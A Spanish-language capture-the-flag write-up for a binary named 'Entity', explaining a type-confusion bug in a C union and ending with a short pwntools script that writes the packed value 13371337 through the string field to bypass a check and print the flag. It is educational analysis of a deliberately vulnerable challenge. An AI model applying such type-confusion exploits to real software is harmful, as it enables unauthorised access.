Entity

Table of contents

  1. Analisis
    1. Main
    2. Menu
    3. Codigo vulnerable
    4. Analisis con GDB
  2. Exploit

Tenemos un binario donde explotaremos la vulnerabilidad Type Confusion para utilizar incorrectamente un valor de un tipo como si fuera otro tipo.

Analisis

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Main

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }

}

En el main, tenemos un switch case con 3 opciones, donde dependiendo de lo que este en la funcion menu, es lo que va a hacer

menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'T':
        res.act = STORE_SET;
        break;
    case 'R':
        res.act = STORE_GET;
        break;
    case 'C':
        res.act = FLAG;
        return res;
    default:
        puts("\nWhat's this nonsense?!");
        exit(-1);
    }

Nos damos cuenta que en la opcion C corresponde al case FLAG de la funcion main:

case FLAG:
    get_flag();
    break;

Donde se manda a llamar a la funcion get_flag():

void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}

Donde para mostrar la flag, tenemos que hacer que DataStore.integer sea igual a 13371337, sin embargo, hay una funcion que nos lo impide:

void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }

}

Donde esta validando si DataStore.integer es igual a 13371337 que imoprima en pantalla el mensaje puts("\nWhat's this nonsense?!"); y sale del programa

Codigo vulnerable

Cada vez que se esta usando DataStore.integer se hace referencia a esta estructura:

static union {
    unsigned long long integer;
    char string[8];
} DataStore;

En C, la estructura union puede almacenar varios tipos de datos en la misma direccion de memoria. Por ejemplo, en este caso, integer es una variable que ocupa 8 bytes en la memoria, la cual almacena un valor entero de 64 bits, y string es otra variable la cual es una arreglo de caracteres que igual ocupa 8 bytes en la memoria (cada letra es un byte), y nosotros podemos acceder a esas variables a travez de DataStorage dependiendo de como queremos interpretar los datos dentro de union, y union se encargara de ponerlas en la misma direccion de memoria, idependientemente del tipo de dato.

Y de toda esta explicacion viene la vulnerabilidad Type confusion o confusion de tipos, en la cual basicamente es un tipo de vulnerabilidad que ocurre cuando un programa utiliza incorrectamente un valor de un tipo como si fuera otro tipo. Y para este ejercicio podemos utilizar incorrectamente del valor de la variable string como si fuera el de la variable integer

Problema

Al intentar pasarle el numero 13371337 como string, indicandole la opcion S como lo indica el case S:

case 'S':
    res.field = STRING;
    break;

El programa no muestra la flag:

Y es por esta comprobacion:

case STRING:
    memcpy(DataStore.string, buf, sizeof(DataStore.string));
    break;

Sin embargo se supone que esta todo “bien”, asi que para ver que se esta comparando realmente en DataStore.integer == 13371337

Analisis con GDB

En un gdb metere un breakpoint en la intruccion donde se realiza la comparacion:

0x0000000000001412 <+11>:	cmp    rax,0xcc07c9

Primero que nada, lo que esta haciendo cmp rax,0xcc07c9 es comparar DataStorage que se guarda en rax, con 0xcc07c9 que es el numero 13371337. Cuando ejecute el programa yo le indique que se guardara como string.

Al ver el valor de rax:

Nos podemos dar cuenta que lo que se guarda en DataStorage es un decimal: 0x3733333137333331, entonces para explotar esta confusion de tipos, podemos mandarle el numero 13371337 como string de bytes en little endian, por que ya no se estaria comprobando en la funcion set_field, osea asi:

b'\xc9\x07\xcc\x00\x00\x00\x00\x00'

Exploit

Y con todo lo anterior, el exploit queda asi:

from pwn import *

p = process("./entity")

p.sendline("T")
p.sendline("S")
p.sendline(p64(13371337))
p.sendline("C")
p.interactive()

Y ya tenemos la flag:

Eso ha sido todo, gracias por leer ❤